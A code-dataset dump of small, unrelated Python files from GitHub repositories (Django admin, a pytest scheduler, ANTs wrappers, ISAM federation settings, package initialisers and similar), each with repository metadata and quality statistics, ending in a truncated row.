| 643
|
py
|
Python
|
portfolio/admin.py
|
fallenhitokiri/catntent
|
018764c268eb024ead53667746f2466116af27fc
|
[
"BSD-2-Clause-FreeBSD"
] | 1
|
2020-10-16T03:33:15.000Z
|
2020-10-16T03:33:15.000Z
|
portfolio/admin.py
|
fallenhitokiri/catntent
|
018764c268eb024ead53667746f2466116af27fc
|
[
"BSD-2-Clause-FreeBSD"
] | null | null | null |
portfolio/admin.py
|
fallenhitokiri/catntent
|
018764c268eb024ead53667746f2466116af27fc
|
[
"BSD-2-Clause-FreeBSD"
] | null | null | null |
# -*- coding: utf-8 -*-
from django.contrib import admin
from portfolio.models import Tech, Job, Shot, Testimonial, Customer, Project
class ProjectAdmin(admin.ModelAdmin):
list_display = ('name', 'added', 'user', 'published')
def save_model(self, request, obj, form, change):
obj.user = request.user
obj.save()
class DefaultAdmin(admin.ModelAdmin):
pass
admin.site.register(Tech, DefaultAdmin)
admin.site.register(Job, DefaultAdmin)
admin.site.register(Shot, DefaultAdmin)
admin.site.register(Testimonial, DefaultAdmin)
admin.site.register(Customer, DefaultAdmin)
admin.site.register(Project, ProjectAdmin)
| 25.72
| 76
| 0.738725
| 77
| 643
| 6.142857
| 0.480519
| 0.215645
| 0.215645
| 0.306554
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.001799
| 0.135303
| 643
| 24
| 77
| 26.791667
| 0.848921
| 0.032659
| 0
| 0
| 0
| 0
| 0.035484
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.066667
| false
| 0.066667
| 0.133333
| 0
| 0.4
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
65c5a470d41e191a0d8364217c5e846eb395c3d3
| 375
|
py
|
Python
|
stratifi_tests/scheduler.py
|
DashkevichBy/Advisors.stratiFi.frontend
|
e59892e8c1ff0d15ce6ef520fe0b00355e1a6870
|
[
"Apache-2.0"
] | null | null | null |
stratifi_tests/scheduler.py
|
DashkevichBy/Advisors.stratiFi.frontend
|
e59892e8c1ff0d15ce6ef520fe0b00355e1a6870
|
[
"Apache-2.0"
] | null | null | null |
stratifi_tests/scheduler.py
|
DashkevichBy/Advisors.stratiFi.frontend
|
e59892e8c1ff0d15ce6ef520fe0b00355e1a6870
|
[
"Apache-2.0"
] | null | null | null |
import schedule
import time
import os
def job():
print("I'm working...")
os.system("pytest --html=report.html")
schedule.every(60).minutes.do(job)
# schedule.every().hour.do(job)
# schedule.every().day.at("10:30").do(job)
# schedule.every().monday.do(job)
# schedule.every().wednesday.at("13:15").do(job)
while True:
schedule.run_pending()
time.sleep(1)
| 18.75
| 48
| 0.669333
| 58
| 375
| 4.310345
| 0.568966
| 0.26
| 0.208
| 0.288
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.033435
| 0.122667
| 375
| 19
| 49
| 19.736842
| 0.726444
| 0.397333
| 0
| 0
| 0
| 0
| 0.176471
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.1
| true
| 0
| 0.3
| 0
| 0.4
| 0.1
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
02905a09c0a0b6f1cae9ad3196b74c5ddb5c667b
| 583
|
py
|
Python
|
src/earth.py
|
IsakJones/space_invaders
|
7f8ea85722d2420b403ce307ecbd16c3da4942d8
|
[
"MIT"
] | null | null | null |
src/earth.py
|
IsakJones/space_invaders
|
7f8ea85722d2420b403ce307ecbd16c3da4942d8
|
[
"MIT"
] | null | null | null |
src/earth.py
|
IsakJones/space_invaders
|
7f8ea85722d2420b403ce307ecbd16c3da4942d8
|
[
"MIT"
] | null | null | null |
"""
DOCSTRING
The unseen earth that the ship is defending from the space invaders.
Only has an attribute with the number of lives, but adds a
method returning true if a spaceinvader makes it past the ship.
Its lives are represented in the game with the planet icons.
"""
from .constants import Win
from .abstract import Thing
from .space_invader import SpaceInvader
class Earth(Thing):
def __init__(self, lives: int):
super().__init__(lives)
def is_hit(self, invader: SpaceInvader):
return invader.get_rect()[1] > Win.HEIGHT.value # i.e. the y location
| 27.761905
| 77
| 0.737564
| 90
| 583
| 4.655556
| 0.666667
| 0.033413
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.002119
| 0.190395
| 583
| 20
| 78
| 29.15
| 0.885593
| 0.488851
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.375
| 0.125
| 0.875
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
0292993943970a782dcfae3bdcace83a871d2847
| 401
|
py
|
Python
|
concoord/object/counter.py
|
denizalti/concoord
|
5a51ba2b475f44da221304ea7f0b9118f2e8511a
|
[
"BSD-3-Clause"
] | 36
|
2015-01-22T15:55:21.000Z
|
2019-12-10T00:39:11.000Z
|
concoord/object/counter.py
|
liranz/concoord
|
bdb3798bf200d1cbd04bc50260cddaec6ba2a763
|
[
"BSD-3-Clause"
] | 3
|
2016-11-15T16:58:49.000Z
|
2018-05-25T11:32:50.000Z
|
concoord/object/counter.py
|
liranz/concoord
|
bdb3798bf200d1cbd04bc50260cddaec6ba2a763
|
[
"BSD-3-Clause"
] | 13
|
2015-01-07T00:07:59.000Z
|
2018-11-24T04:39:58.000Z
|
"""
@author: Deniz Altinbuken, Emin Gun Sirer
@note: Example counter
@copyright: See LICENSE
"""
class Counter:
def __init__(self, value=0):
self.value = value
def decrement(self):
self.value -= 1
def increment(self):
self.value += 1
def getvalue(self):
return self.value
def __str__(self):
return "The counter value is %d" % self.value
| 19.095238
| 53
| 0.613466
| 51
| 401
| 4.666667
| 0.529412
| 0.226891
| 0.109244
| 0.117647
| 0.142857
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010309
| 0.274314
| 401
| 20
| 54
| 20.05
| 0.80756
| 0.219451
| 0
| 0
| 0
| 0
| 0.07541
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.454545
| false
| 0
| 0
| 0.181818
| 0.727273
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
02c07a3c15738bb350a8c7f0dc0e4d440ec41108
| 1,168
|
py
|
Python
|
reservoirpy/experimental/__init__.py
|
ariwanski/reservoirpy
|
438d8cdc615a127ede681fc7d14fc0112bad9590
|
[
"MIT"
] | 1
|
2022-03-16T13:13:37.000Z
|
2022-03-16T13:13:37.000Z
|
reservoirpy/experimental/__init__.py
|
AmmarKheder/reservoirpy
|
6c972f820970fb56a7bf329d47fb2a8d76452ccb
|
[
"MIT"
] | null | null | null |
reservoirpy/experimental/__init__.py
|
AmmarKheder/reservoirpy
|
6c972f820970fb56a7bf329d47fb2a8d76452ccb
|
[
"MIT"
] | null | null | null |
"""
=======================================================
Experimental features (:mod:`reservoirpy.experimental`)
=======================================================
.. currentmodule:: reservoirpy.experimental
You can find in this module all features in development and testing for
future releases.
.. warning::
All features in the experimental module may still be under heavy
developement. You can still report any bug by opening an issue
as explained in :ref:`opening_an_issue`.
Nodes
=====
.. autosummary
:toctree: generated/
:template: autosummary/class.rst
Add - Add two vectors.
BatchFORCE - Fast implementation of FORCE algorithm.
IPReservoir - Reservoir with Intrinsic Plasticity learning.
RandomChoice - Randomly select features in a vector of data.
AsabukiNorm - Normalization as defined in Asabuki et al. (2018)
"""
# Author: Nathan Trouvain at 03/02/2022 <nathan.trouvain@inria.fr>
# Licence: MIT License
# Copyright: Xavier Hinaut (2018) <xavier.hinaut@inria.fr>
from .add import Add
from .batchforce import BatchFORCE
from .ip import IPReservoir
from .norm import AsabukiNorm
from .randomchoice import RandomChoice
| 30.736842
| 71
| 0.691781
| 137
| 1,168
| 5.883212
| 0.656934
| 0.037221
| 0.032258
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.016032
| 0.145548
| 1,168
| 37
| 72
| 31.567568
| 0.791583
| 0.857021
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
02d3376a0359b22f61350b072cc8ceade77c5d92
| 99
|
py
|
Python
|
canteen/templates/__init__.py
|
dbl0null/canteen
|
3bef22a2059ef6ac5df178324fbc1dba45316e22
|
[
"MIT"
] | 2
|
2016-08-24T18:42:41.000Z
|
2017-12-08T00:41:02.000Z
|
canteen/templates/__init__.py
|
dbl0null/canteen
|
3bef22a2059ef6ac5df178324fbc1dba45316e22
|
[
"MIT"
] | null | null | null |
canteen/templates/__init__.py
|
dbl0null/canteen
|
3bef22a2059ef6ac5df178324fbc1dba45316e22
|
[
"MIT"
] | 2
|
2015-09-22T05:36:27.000Z
|
2017-12-08T00:41:21.000Z
|
# -*- coding: utf-8 -*-
"""
templates
~~~~~~~~~
"""
# submodules
from .compiled import *
| 8.25
| 23
| 0.474747
| 8
| 99
| 5.875
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.013514
| 0.252525
| 99
| 11
| 24
| 9
| 0.621622
| 0.535354
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
f3052aeec0e8251063ca03e2d71963a0748c6be3
| 171
|
py
|
Python
|
applications/baseapp/utils/__init__.py
|
ajitjasrotia/django-project-skeleton
|
70e3e06384dfb018f59b1af8c7c3febf2bbcd47c
|
[
"MIT"
] | 48
|
2018-01-10T11:21:35.000Z
|
2021-09-08T23:28:07.000Z
|
applications/baseapp/utils/__init__.py
|
ajitjasrotia/django-project-skeleton
|
70e3e06384dfb018f59b1af8c7c3febf2bbcd47c
|
[
"MIT"
] | 26
|
2018-04-20T10:46:00.000Z
|
2019-09-21T06:47:13.000Z
|
applications/baseapp/utils/__init__.py
|
ajitjasrotia/django-project-skeleton
|
70e3e06384dfb018f59b1af8c7c3febf2bbcd47c
|
[
"MIT"
] | 20
|
2019-03-09T19:46:10.000Z
|
2022-03-27T14:57:03.000Z
|
# isort:skip_file
# flake8: noqa
from .console import console
from .numerify import numerify
from .upload_handler import save_file
from .log import SlackExceptionHandler
| 21.375
| 38
| 0.824561
| 23
| 171
| 6
| 0.608696
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006711
| 0.128655
| 171
| 7
| 39
| 24.428571
| 0.919463
| 0.163743
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
f305772e02c32d7357a8e57d5b5ad2bcfdd45b15
| 2,175
|
py
|
Python
|
pyisam/pyisam/core/federationsettings.py
|
l-farrell/isam-openbanking
|
aaf06a2671c65119dfbbd8c4f58aa7645e6ef22f
|
[
"Apache-2.0"
] | null | null | null |
pyisam/pyisam/core/federationsettings.py
|
l-farrell/isam-openbanking
|
aaf06a2671c65119dfbbd8c4f58aa7645e6ef22f
|
[
"Apache-2.0"
] | null | null | null |
pyisam/pyisam/core/federationsettings.py
|
l-farrell/isam-openbanking
|
aaf06a2671c65119dfbbd8c4f58aa7645e6ef22f
|
[
"Apache-2.0"
] | null | null | null |
"""
Find more at: https://github.com/l-farrell/isam-ob/settings
"""
from .federation.federations import Federations, Federations9040
from .federation.pointofcontact import PointOfContact
from .federation.accesspolicy import AccessPolicy
from .federation.attributesources import AttributeSources
from .federation.securitytokenservice import SecurityTokenServiceChainTemplates
from .federation.securitytokenservice import SecurityTokenServiceChainInstances
class Federation9020(object):
def __init__(self, base_url, username, password):
super(Federation9020, self).__init__()
self.federations = Federations(base_url, username, password)
self.attribute_sources = AttributeSources(base_url, username, password)
class Federation9021(Federation9020):
def __init__(self, base_url, username, password):
super(Federation9021, self).__init__(base_url, username, password)
class Federation9030(Federation9021):
def __init__(self, base_url, username, password):
super(Federation9030, self).__init__(base_url, username, password)
class Federation9040(Federation9030):
def __init__(self, base_url, username, password):
super(Federation9040, self).__init__(base_url, username, password)
self.federations = Federations9040(base_url, username, password)
self.poc= PointOfContact(base_url, username, password)
self.access_policy = AccessPolicy(base_url, username, password)
class Federation9050(Federation9040):
def __init__(self, base_url, username, password):
super(Federation9050, self).__init__(base_url, username, password)
class Federation9060(Federation9050):
def __init__(self, base_url, username, password):
super(Federation9060, self).__init__(base_url, username, password)
class Federation9070(Federation9060):
def __init__(self, base_url, username, password):
super(Federation9070, self).__init__(base_url, username, password)
self.sts_templates = SecurityTokenServiceChainTemplates(base_url, username, password)
self.sts_chains = SecurityTokenServiceChainInstances(base_url, username, password)
| 38.839286
| 97
| 0.764138
| 217
| 2,175
| 7.290323
| 0.21659
| 0.088496
| 0.189633
| 0.290771
| 0.415297
| 0.328698
| 0.307838
| 0.172566
| 0
| 0
| 0
| 0.047568
| 0.149425
| 2,175
| 55
| 98
| 39.545455
| 0.807568
| 0.027126
| 0
| 0.205882
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.205882
| false
| 0.588235
| 0.176471
| 0
| 0.588235
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
f31bf24ce97861cae0cf76aa073a344b3248e429
| 87
|
py
|
Python
|
Python/PycharmProjects/aula 14/main.py
|
MarcelaSamili/Desafios-do-curso-de-Python
|
f331e91821c0c25b3e32d2075254ef650292f280
|
[
"MIT"
] | null | null | null |
Python/PycharmProjects/aula 14/main.py
|
MarcelaSamili/Desafios-do-curso-de-Python
|
f331e91821c0c25b3e32d2075254ef650292f280
|
[
"MIT"
] | null | null | null |
Python/PycharmProjects/aula 14/main.py
|
MarcelaSamili/Desafios-do-curso-de-Python
|
f331e91821c0c25b3e32d2075254ef650292f280
|
[
"MIT"
] | null | null | null |
n = int(input('DIGITE UM NUMERO'))
n2 = int(input('Digite outro'))
r = n + n2
print(r)
| 17.4
| 34
| 0.62069
| 16
| 87
| 3.375
| 0.625
| 0.296296
| 0.518519
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.027778
| 0.172414
| 87
| 4
| 35
| 21.75
| 0.722222
| 0
| 0
| 0
| 0
| 0
| 0.321839
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.25
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b82a6e5c3c25e56ead56c9e18b0ecd547277aa34
| 18
|
py
|
Python
|
test3.py
|
Lapin1018/pyneta
|
969fc65a064d85de498ee045ac41b49494cc5928
|
[
"Apache-2.0"
] | null | null | null |
test3.py
|
Lapin1018/pyneta
|
969fc65a064d85de498ee045ac41b49494cc5928
|
[
"Apache-2.0"
] | null | null | null |
test3.py
|
Lapin1018/pyneta
|
969fc65a064d85de498ee045ac41b49494cc5928
|
[
"Apache-2.0"
] | null | null | null |
1 for x in range
| 9
| 17
| 0.666667
| 5
| 18
| 2.4
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.083333
| 0.333333
| 18
| 1
| 18
| 18
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b830a1b6599c297cac1b6c8d70935dfd0e0ab6dd
| 194
|
py
|
Python
|
kite_runner/apps.py
|
thinhnguyenuit/kite_runner
|
17f23f872318a78e573b0ff6bed04f783f082de1
|
[
"MIT"
] | null | null | null |
kite_runner/apps.py
|
thinhnguyenuit/kite_runner
|
17f23f872318a78e573b0ff6bed04f783f082de1
|
[
"MIT"
] | 1
|
2021-11-10T16:29:38.000Z
|
2021-11-10T16:29:38.000Z
|
kite_runner/apps.py
|
thinhnguyenuit/kite_runner
|
17f23f872318a78e573b0ff6bed04f783f082de1
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class KiteRunnerConfig(AppConfig):
name = "kite_runner"
verbose_name = "KiteRunner"
def ready(self):
from . import signals # noqa: F401
| 19.4
| 43
| 0.685567
| 22
| 194
| 5.954545
| 0.818182
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.020134
| 0.231959
| 194
| 9
| 44
| 21.555556
| 0.85906
| 0.051546
| 0
| 0
| 0
| 0
| 0.115385
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
b86494f9bbc8bdaa78d90fe701702df04e51b09a
| 275
|
py
|
Python
|
calendars/utils.py
|
City-of-Turku/munpalvelut_backend
|
9baa530f2f3405322f74ccc145641148f253341b
|
[
"MIT"
] | null | null | null |
calendars/utils.py
|
City-of-Turku/munpalvelut_backend
|
9baa530f2f3405322f74ccc145641148f253341b
|
[
"MIT"
] | null | null | null |
calendars/utils.py
|
City-of-Turku/munpalvelut_backend
|
9baa530f2f3405322f74ccc145641148f253341b
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python
# coding=utf-8
from __future__ import unicode_literals
from django.utils import timezone
DATETIME_FORMAT_SHORT = '%Y-%m-%d %H:%M'
def datetime_formatted_localized(dt, format=DATETIME_FORMAT_SHORT):
return timezone.localtime(dt).strftime(format)
| 22.916667
| 67
| 0.781818
| 40
| 275
| 5.1
| 0.725
| 0.137255
| 0.186275
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.004065
| 0.105455
| 275
| 11
| 68
| 25
| 0.825203
| 0.12
| 0
| 0
| 0
| 0
| 0.058333
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0
| 0.4
| 0.2
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
b8a82230d901ef914efb53aabe8c9cbc9beebc2b
| 1,377
|
py
|
Python
|
mri_works/NodeEditor/modules/ANTs/registration.py
|
montigno/mri_works
|
8ec6ff1500aa34d3540e44e4b0148023cf821f61
|
[
"CECILL-B"
] | 2
|
2020-08-20T21:00:53.000Z
|
2021-08-16T15:28:51.000Z
|
mri_works/NodeEditor/modules/ANTs/registration.py
|
montigno/mri_works
|
8ec6ff1500aa34d3540e44e4b0148023cf821f61
|
[
"CECILL-B"
] | 3
|
2020-09-24T06:50:43.000Z
|
2020-12-15T11:02:04.000Z
|
mri_works/NodeEditor/modules/ANTs/registration.py
|
montigno/mri_works
|
8ec6ff1500aa34d3540e44e4b0148023cf821f61
|
[
"CECILL-B"
] | 1
|
2020-08-20T21:00:59.000Z
|
2020-08-20T21:00:59.000Z
|
class antsRegistration():
def __init__(self, output='', **options):
from subprocess import run
list_options = []
list_options.append('--output')
list_options.append(output)
for op in options:
list_options.append(op)
if options[op]:
list_options.append(str(options[op]))
command = ['antsRegistration']
command.extend(list_options)
result = run(command, shell=False, check=True)
self.res = output.strip('][').split(',')
def outputWarpedImage(self:'path'):
return self.res[1]
def outputInverseWarpedImage(self:'path'):
return self.res[2]
###############################################################################
class antsApplyTransforms():
def __init__(self, output='path', **options):
from subprocess import run
list_options = []
list_options.append('--output')
list_options.append(output)
for op in options:
list_options.append(op)
if options[op]:
list_options.append(str(options[op]))
command = ['antsApplyTransforms']
command.extend(list_options)
result = run(command, shell=False, check=True)
self.res = output
def outputWarpedImage(self:'path'):
return self.res
| 33.585366
| 79
| 0.550472
| 134
| 1,377
| 5.507463
| 0.261194
| 0.178862
| 0.184282
| 0.130081
| 0.787263
| 0.758808
| 0.758808
| 0.647696
| 0.647696
| 0.647696
| 0
| 0.002022
| 0.281772
| 1,377
| 41
| 80
| 33.585366
| 0.744186
| 0
| 0
| 0.647059
| 0
| 0
| 0.053888
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.147059
| false
| 0
| 0.058824
| 0.088235
| 0.352941
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b21699d9b82c27688a7586cd2fb541fa634eb4ff
| 658
|
py
|
Python
|
simfempy/fems/data.py
|
beckerrh/fempy
|
dd7214ea7f6d81a5200fcb4a91f07a5cd3322e9e
|
[
"MIT"
] | null | null | null |
simfempy/fems/data.py
|
beckerrh/fempy
|
dd7214ea7f6d81a5200fcb4a91f07a5cd3322e9e
|
[
"MIT"
] | 3
|
2018-12-18T16:36:52.000Z
|
2019-01-29T18:34:55.000Z
|
simfempy/fems/data.py
|
beckerrh/fempy
|
dd7214ea7f6d81a5200fcb4a91f07a5cd3322e9e
|
[
"MIT"
] | null | null | null |
#=================================================================#
class BdryData(object):
"""
Information for boundary conditions
"""
def __init__(self):
self.bsaved = {}
self.Asaved = {}
def __repr__(self):
return ", ".join("'{}': {}".format(attr, value) for attr, value in self.__dict__.items())
#=================================================================#
class ConvectionData(object):
"""
Information for boundary conditions
"""
def __init__(self, **kwargs):
self.betacell, self.betart, self.md = kwargs.pop('betacell',None), kwargs.pop('betart',None), kwargs.pop('md',None)
| 32.9
| 123
| 0.483283
| 58
| 658
| 5.206897
| 0.482759
| 0.089404
| 0.13245
| 0.18543
| 0.324503
| 0.324503
| 0.324503
| 0.324503
| 0
| 0
| 0
| 0
| 0.179331
| 658
| 19
| 124
| 34.631579
| 0.559259
| 0.306991
| 0
| 0
| 0
| 0
| 0.061611
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0.111111
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
b21c1fc991c606dd6ca313aa55edb0753c739630
| 1,617
|
py
|
Python
|
easyPass-WS/misha/templates_cli.py
|
CiganOliviu/esential
|
9cb40e89e9c119c5ac4e6e54ab4b5fd657c91462
|
[
"MIT"
] | 4
|
2019-08-20T18:57:39.000Z
|
2020-02-26T20:54:35.000Z
|
easyPass-WS/misha/templates_cli.py
|
CiganOliviu/esential
|
9cb40e89e9c119c5ac4e6e54ab4b5fd657c91462
|
[
"MIT"
] | null | null | null |
easyPass-WS/misha/templates_cli.py
|
CiganOliviu/esential
|
9cb40e89e9c119c5ac4e6e54ab4b5fd657c91462
|
[
"MIT"
] | null | null | null |
import click
import sys
from setup import environment_variables
sys.path.insert(0, 'dependencies/')
from dependencies.templates import templates
class misha_templates_system():
def __init__(self):
super(misha_templates_system, self).__init__()
@click.command()
@click.option('--file_name', help='Path where the file should be created and the file name')
def standard_cpp_algo_data_structures_implementation(file_name):
template = templates()
template.standard_cpp_algo_data_structures_templates(file_name)
@click.command()
@click.option('--file_name', help='Path where the file should be created and the file name')
def standard_c_algo_data_structures_implementation(file_name):
template = templates()
template.standard_c_algo_data_structures_templates(file_name)
@click.command()
@click.option('--file_name', help='Path where the file should be created and the file name')
def standard_easyPass_implementation(file_name):
template = templates()
template.standard_easyPass_templates(file_name)
@click.command()
@click.option('--file_name', help='Path where the file should be created and the file name')
def standard_esential_implementation(file_name):
template = templates()
template.standard_esential_template(file_name)
@click.command()
@click.option('--file_name', help='Path where the file should be created and the file name')
def standard_misha_implementation(file_name):
template = templates()
template.standard_misha_template(file_name)
| 33
| 96
| 0.732839
| 204
| 1,617
| 5.514706
| 0.196078
| 0.142222
| 0.075556
| 0.102222
| 0.772444
| 0.765333
| 0.765333
| 0.618667
| 0.618667
| 0.618667
| 0
| 0.000751
| 0.176871
| 1,617
| 48
| 97
| 33.6875
| 0.844478
| 0
| 0
| 0.454545
| 0
| 0
| 0.212121
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.181818
| false
| 0.060606
| 0.121212
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
b22049c3225f0758273f67bc42409ef6d49df50a
| 184
|
py
|
Python
|
datafiles/__init__.py
|
le-fantosme/datafiles
|
5e810aaf5dc7c57c641f507de6815b41a2dffcc0
|
[
"MIT"
] | 1
|
2019-02-14T08:08:41.000Z
|
2019-02-14T08:08:41.000Z
|
datafiles/__init__.py
|
le-fantosme/datafiles
|
5e810aaf5dc7c57c641f507de6815b41a2dffcc0
|
[
"MIT"
] | null | null | null |
datafiles/__init__.py
|
le-fantosme/datafiles
|
5e810aaf5dc7c57c641f507de6815b41a2dffcc0
|
[
"MIT"
] | null | null | null |
# pylint: disable=unused-import
from dataclasses import field
from . import converters
from .decorators import auto, datafile
from .managers import Missing
from .models import Model
| 20.444444
| 38
| 0.809783
| 24
| 184
| 6.208333
| 0.625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.141304
| 184
| 8
| 39
| 23
| 0.943038
| 0.157609
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
b222885315c3cc4f8342dca2f60720c2d110576b
| 134
|
py
|
Python
|
talos/logging/logging_finish.py
|
zazula/talos
|
4a2a2c1c16310a2158692808cb0a6cfe4e4be326
|
[
"MIT"
] | 1,536
|
2018-05-15T19:36:16.000Z
|
2022-03-31T18:14:11.000Z
|
talos/logging/logging_finish.py
|
zazula/talos
|
4a2a2c1c16310a2158692808cb0a6cfe4e4be326
|
[
"MIT"
] | 522
|
2018-05-12T18:35:06.000Z
|
2022-03-20T06:23:52.000Z
|
talos/logging/logging_finish.py
|
